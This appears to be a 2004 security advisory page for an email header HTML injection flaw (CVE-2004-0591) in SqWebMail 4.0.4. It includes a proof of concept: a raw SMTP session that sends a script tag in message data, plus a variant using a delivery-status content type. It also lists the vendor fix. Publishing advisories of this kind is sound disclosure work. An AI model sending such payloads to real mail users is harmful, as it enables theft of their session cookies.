SqWebMail Email Header HTML Injection Vulnerability

BID:10588

Info

SqWebMail Email Header HTML Injection Vulnerability

Bugtraq ID: 10588
Class: Input Validation Error
CVE: CVE-2004-0591
Remote: Yes
Local: No
Published: Jun 21 2004 12:00AM
Updated: Jul 12 2009 05:16AM
Credit: Discovery of this vulnerability is credited to Luca Legato <[email protected]>.
Vulnerable: Inter7 SqWebMail 4.0.4 .20040524
Not Vulnerable: Inter7 SqWebMail 4.0.5

Discussion

SqWebMail Email Header HTML Injection Vulnerability

SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.

The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header.

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.

Exploit / POC

SqWebMail Email Header HTML Injection Vulnerability

The following example is available:

1) sending a raw email message with malformed headers, i.e.
"&lt;script&gt;alert(document.location)&lt;/script&gt;":

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:&lt;[email protected]&gt;
250 ok
rcpt to:&lt;[email protected]&gt;
250 ok
data
354 go ahead
&lt;script&gt;alert(document.location)&lt;/script&gt;
.
[...]

2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).

Solution / Fix

SqWebMail Email Header HTML Injection Vulnerability

Solution:
The vendor has released version 4.0.5 dealing with this issue. Users of affected packages are urged to upgrade.

Debian has released an advisory (DSA 533-1) to address this issue. Please see the referenced advisory for more information.


Inter7 SqWebMail 4.0.4 .20040524

References

SqWebMail Email Header HTML Injection Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report